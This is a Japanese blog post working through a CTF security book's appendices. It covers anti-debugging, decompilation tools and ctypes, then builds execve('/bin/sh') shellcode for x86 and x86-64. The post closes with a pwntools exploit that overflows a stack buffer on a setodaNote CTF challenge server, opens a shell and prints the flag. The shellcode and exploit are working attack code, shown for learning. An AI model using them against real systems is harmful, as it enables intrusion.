セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った (original) (raw)

前回 は、「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の「Part2 pwn」を読んで、実際に動かしてみました。だいぶ時間がかかりましたが、とても勉強になりました。

今回は、「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の付録を読んでいきます。付録は 2つあって、1つは、Part 1(1章)の「バイナリ解析」の付録で、もう 1つは、Part 2(2章)の「pwn」の付録です。今回は、この 2つの付録について見ていきます。

それでは、やっていきます。

参考文献

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧

セキュリティコンテストチャレンジブックのサポートサイトは以下です。ここで、ソースコードや、書籍には載っていない付録が、2つダウンロードできます。

付録は、以下の2つです。とてもいい内容でした。ただ、Part2 はリンクがおかしくなっていました。Part1 と同じディレクトリにあったので、Part1 の付録の URL をブラウザに入力した後、ファイル名だけ、「02章付録.pdf」に差し替えるとダウンロードできます。

book.mynavi.jp

それでは、やっていきます。

Part1 バイナリ解析:付録「バイナリ解析に関するTIPS」

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」(以下、参考文献)の Part1 のバイナリ解析についての付録です。参考文献の Part1 では、最初に導入があり、ツールの紹介、その後、表層解析、静的解析、動的解析の順に解説がなされています。付録では、書籍に載っていない実用的なトピックについて書かれています。

付録1.1 解析妨害手法の特定と妨害の回避

バイナリファイルを解析する際に、解析させないための妨害がされている場合があります。

ここでは、静的解析における妨害として、パッカーというバイナリが実行可能な状態のまま圧縮するソフトウェアの紹介と、動的解析におけるデバッガで実行中であることを検出する手段が紹介されていて、その回避方法について説明されています。

1点目のパッカーについては、実際のファイルが紹介されているわけではなく、パッカーの仕組みと、その回避方法として、upxコマンドを使ったアンパックの方法が書かれています。

2点目のデバッグ実行時の検出方法として、Win32 API の「IsDebuggerPresent」という関数と、もう 1つも Windows の PEB構造体の「NtGlobalFlags」というメンバ変数を見ることを説明されています。

2点目については、Linux についても紹介してほしかったです。

付録1.2 バイトコードの解析

バイトコードとは、仮想マシン(Java VM など)上で実行するために設計された中間コードのことです。

ここでは、.NET Framework と、Java(Android の APKファイル) について、逆コンパイルする方法について説明しています。

まず、.NET の場合、fileコマンドにより、PE形式ということと、.NET という記述が出るので、すぐにそれだと分かります。逆コンパイルするには、 ILSpy というソフトウェアを使います。以前、setodaNote CTF Exhibition の問題で、C# っぽかったので、この ILSpy で逆コンパイルして、解いたことがあります。

次に、APKファイルの場合です。fileコマンドを使用すると、Java Jar file(ZIP)と出力されるので、圧縮ファイルということがすぐに分かります。まずは、解凍して、その中の classes.dex というファイルがバイトコードを格納しているファイルになります。この DEXファイルを classファイルに変換するツールが「dex2jar」です。classファイルを逆コンパイルするには、「jd-gui」というソフトを使います。

これで静的解析が可能になります。

付録1.3 x86/x64以外のアーキテクチャを読み解くには

静的解析で使用する IDA Pro は多くのアーキテクチャに対応しているが、非常に高価であり、フリー版の IDA Demo や、IDA Free は、x86 にしか対応していません。他のアーキテクチャの場合に使用するツールとして、radare2 が紹介されています(この時期には、まだ Ghidra はリリースされてなかった)。

radare2 でも対応していないアーキテクチャの場合、objdump をそのアーキテクチャでビルドして使う方法が紹介されています。

付録1.4 バイナリ問題を解くためのプログラミング技法

バイナリ問題を解くために使用するプログラミング言語として、Python を推奨しています。また、Python から C言語の共有ライブラリを呼び出す方法と実装について説明されています。

以下は、Python から libc の標準関数を呼び出す実装です。

import ctypes

libc = ctypes.cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6' )

libc.srand( libc.time(0) )

print( libc.rand() )

実行してみます。正しく実行できたようです。

$ python ../../../../python/exec_ctypes.py 1097912538

Part2 pwn:付録「シェルコード」

参考文献の Part2 pwn についての付録です。Part2 pwn については、以下の前回の記事で紹介しました。

daisuke20240310.hatenablog.com

また、以前、ARM64 で動作するシェルコードを作った記事が以下の 2つです。

daisuke20240310.hatenablog.com

daisuke20240310.hatenablog.com

また、setodaNote CTF Exhibition の pwn問題の最後の問題で、シェルコードを用意する必要がありました。ここで作ったシェルコードを使って解きたいと思います。

daisuke20240310.hatenablog.com

付録2.1 シェルコードとは

シェルコードは、自分で書かなくても、"shlellcode" で検索すると、シェルを起動するシェルコードや、特定の IPポートに接続してシェルを立ち上げるシェルコードなど、多くのシェルコードを入手することが出来るそうです。

付録2.2 シェルコードの基礎知識

アセンブルするツールは、GNU Assembler(GAS)と、Netwide Assembler(NASM)の 2つが有名で、ここでは、Intel記法を採用している NASM を使います。

システムコールの呼び出し規約をまとめています。

アーキテクチャ 命令 番号 第1引数 第2引数 第3引数 第4引数
x86 int 0x80 eax ebx ecx edx esi
x86-64 syscall RAX RDI RSI RDX r10

付録2.2 シェルコードを書いてみる

付録では、x86 のシェルコードの実装と、その実装を小さくする手法を説明してくれていますが、setodaNote CTF Exhibition の Pwn問題で必要なのは、x86-64 のシェルコードの実装です。x86 のシェルコードの実装の後、x86-64 のシェルコードの実装も行いたいと思います。

x86のシェルコードの実装

先頭の BITS 32 は、32bitモードでアセンブルするという意味です。eax に設定している 11 は、execve関数の番号です。db は、変数の初期化命令です。db は 1byte、dw は 2byte、dd は 4byte のサイズです。call setebx でジャンプするとき、リターンアドレスとして、次の命令のアドレスをスタックに push します。これを pop することにより、第1引数の /bin/sh のアドレスを設定しています。よくできてますね。あと、execve関数の第2引数と第3引数は NULLポインタでも動作すると、説明されていました。

BITS 32 global _start

_start: mov eax, 11 jmp buf

setebx: pop ebx mov ecx, 0 mov edx, 0 int 0x80

buf: call setebx db '/bin/sh', 0

では、アセンブルします。また、逆アセンブルと、シェルコードのサイズも確認しておきます。33byte でした。

$ nasm -o shellcode_x86.bin shellcode_x86.s

$ ndisasm -b 32 shellcode_x86.bin 00000000 B80B000000 mov eax,0xb 00000005 EB0D jmp short 0x14 00000007 5B pop ebx 00000008 B900000000 mov ecx,0x0 0000000D BA00000000 mov edx,0x0 00000012 CD80 int 0x80 00000014 E8EEFFFFFF call 0x7 00000019 2F das 0000001A 62696E bound ebp,[ecx+0x6e] 0000001D 2F das 0000001E 7368 jnc 0x88 00000020 00 db 0x00

$ wc -c shellcode_x86.bin 33 shellcode_x86.bin

では、動作を確認します。

まず、アセンブルで Linux の a.out 形式で出力します(オブジェクト形式、.o のファイルが出力される)。それから、リンカを実行して、実行形式のファイルを作ります。

エラーが出ます。9年前なので、変わってるのかもしれません。

$ nasm -f aout shellcode_x86.s

$ ld -m elf_i386 shellcode_x86.o shellcode_x86.o: file not recognized: file format not recognized

調べた結果、以下でうまくいきました。

$ nasm -f elf32 shellcode_x86.s

$ file shellcode_x86.o shellcode_x86.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

$ ld -m elf_i386 -o shellcode_x86.out shellcode_x86.o

$ ./shellcode_x86.out $ ls shellcode_x86.bin shellcode_x86.o shellcode_x86.out shellcode_x86.s $ exit

x86-64のシェルコードの実装

同じ要領で、x86-64 のシェルコードの実装と動作確認を行っていきます。

実装は、レジスタ名を変えたぐらいです。

BITS 64 global _start

_start: mov rax, 59 jmp buf

setebx: pop rdi mov rsi, 0 mov rdx, 0 syscall

buf: call setebx db '/bin/sh', 0

アセンブル、動作確認まで一気にやります。

出来たようです!

$ nasm -o shellcode_x86-64.bin shellcode_x86-64.s

$ ndisasm -b 64 shellcode_x86-64.bin 00000000 B83B000000 mov eax,0x3b 00000005 EB0D jmp short 0x14 00000007 5F pop rdi 00000008 BE00000000 mov esi,0x0 0000000D BA00000000 mov edx,0x0 00000012 0F05 syscall 00000014 E8EEFFFFFF call 0x7 00000019 2F db 0x2f 0000001A 62 db 0x62 0000001B 69 db 0x69 0000001C 6E outsb 0000001D 2F db 0x2f 0000001E 7368 jnc 0x88 00000020 00 db 0x00

$ wc -c shellcode_x86-64.bin 33 shellcode_x86-64.bin

$ file shellcode_x86-64.bin shellcode_x86-64.bin: data

$ nasm -f elf64 shellcode_x86-64.s

$ file shellcode_x86-64.o shellcode_x86-64.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

$ ld -m elf_x86_64 -o shellcode_x86-64.out shellcode_x86-64.o

$ ./shellcode_x86-64.out $ ls shellcode_x86-64.bin shellcode_x86-64.out shellcode_x86.bin shellcode_x86.out shellcode_x86-64.o shellcode_x86-64.s shellcode_x86.o shellcode_x86.s $ exit

付録には、実際にシェルコードを使うところまでは書かれていませんでした。setodaNote CTF Exhibition の Pwn問題で動作確認したいと思います。

PwnのShellcode問題

PwnのShellcode問題

setodaNote CTF Exhibition の Pwn の Shellcode問題は、サーバアクセスとローカルファイルがあります。

まず、表層解析です。strip されてなくて、スタック実行が許可されてます。target と書かれたアドレスは、毎回変化しています。

$ file shellcode shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./shellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 68 Symbols No 0 1 ./shellcode

$ ./shellcode | target | [0x7ffdb96913f0] | Well. Ready for the shellcode?

aa aa

Ghidra で見てみます。main関数だけのようです。秘密の関数も特にありません。

なるほど、スタックの配列の先頭アドレスが表示されているということですね。ASLR が有効ですが、アドレスを表示してくれているので、それを使えばリターンアドレスを上書きできそうです。

undefined8 main(void) { char local_58 [80];

setvbuf(stdout,local_58,2,0x50); puts(" |"); printf("target | [%p]\n",local_58); puts(" |"); printf("Well. Ready for the shellcode?\n> "); __isoc99_scanf("%[^\n]",local_58); puts(local_58); return 0; }

表示されたアドレスを使って、リターンアドレスの格納されているアドレスを計算する必要があるので、コマンドラインでは難しい(> のところでバイナリを入力できないため)ので、pwntools を使って、エクスプロイトコードを書いていきます。

GDB の pattern を使って、スタックの配列(local_58)の先頭から、main関数のリターンアドレスまでのアドレスの差分を求めておきます。

アドレスの差分は、88byte ということが分かりました。

$ gdb -q shellcode

gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". | target | [0x7fffffffe1b0] | Well. Ready for the shellcode?

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode") RCX: 0x7ffff7ec1240 (<__GI___libc_write+16>: cmp rax,0xfffffffffffff000) RDX: 0x1 RSI: 0x1 RDI: 0x7ffff7f9da10 --> 0x0 RBP: 0x3541416641414a41 ('AJAAfAA5') RSP: 0x7fffffffe208 ("AAKAAgAA6AAL") RIP: 0x5555555551f5 (<main+144>: ret) R8 : 0x0 R9 : 0x7ffff7f9ba80 --> 0xfbad2288 R10: 0xffffffff R11: 0x202 R12: 0x0 R13: 0x7fffffffe328 --> 0x7fffffffe5cf ("SHELL=/bin/bash") R14: 0x0 R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x5555555551ea <main+133>: call 0x555555555030 <puts@plt> 0x5555555551ef <main+138>: mov eax,0x0 0x5555555551f4 <main+143>: leave => 0x5555555551f5 <main+144>: ret 0x5555555551f6: cs nop WORD PTR [rax+rax*1+0x0] 0x555555555200 <__libc_csu_init>: push r15 0x555555555202 <__libc_csu_init+2>: lea r15,[rip+0x2bdf]
0x555555555209 <__libc_csu_init+9>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe208 ("AAKAAgAA6AAL") 0008| 0x7fffffffe210 --> 0x4c414136 ('6AAL') 0016| 0x7fffffffe218 --> 0x555555555165 (

: push rbp) 0024| 0x7fffffffe220 --> 0x100000000 0032| 0x7fffffffe228 --> 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode") 0040| 0x7fffffffe230 --> 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode") 0048| 0x7fffffffe238 --> 0x8a1fede9d50fe8d1 0056| 0x7fffffffe240 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00005555555551f5 in main () gdb-peda$ patto AAKAAgAA6AAL AAKAAgAA6AAL found at offset: 88

実装したエクスプロイトコードです。

import os, sys from pwn import *

adrs, port = "nc.ctf.setodanote.net", 26503

proc = remote( adrs, port )

while True: ret = proc.recvline() ret = ret.decode( 'utf-8' ) if '[' in ret: break

adrs = ret[ ret.find('[')+1:ret.find(']') ] logging.debug( f"adrs={adrs}" )

ret = proc.recv( timeout=1 )

adrs = int( adrs, base=16 )

buf = b'\xB8\x3B\x00\x00\x00\xEB\x0D\x5F\xBE\x00\x00\x00\x00\xBA\x00\x00\x00\x00\x0F\x05\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x00' buf += b'A' * (88 - len(buf)) buf += p64( adrs )

proc.sendline( buf )

proc.interactive()

実行してみます。

無事にフラグをゲットできました!

$ python tmp.py [+] Opening connection to nc.ctf.setodanote.net on port 26503: Done [*] Switching to interactive mode INFO:pwnlib.tubes.remote.remote.140495907052240:Switching to interactive mode \xb8; $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ find home -name 'flag' home/user/flag $ cat home/user/flag flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

おわりに

今回は、セキュリティコンテストチャレンジブックの付録を実践してみました。

最後は、作ったシェルコードで、setodaNote CTF Exhibition の Pwn問題も解けました。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。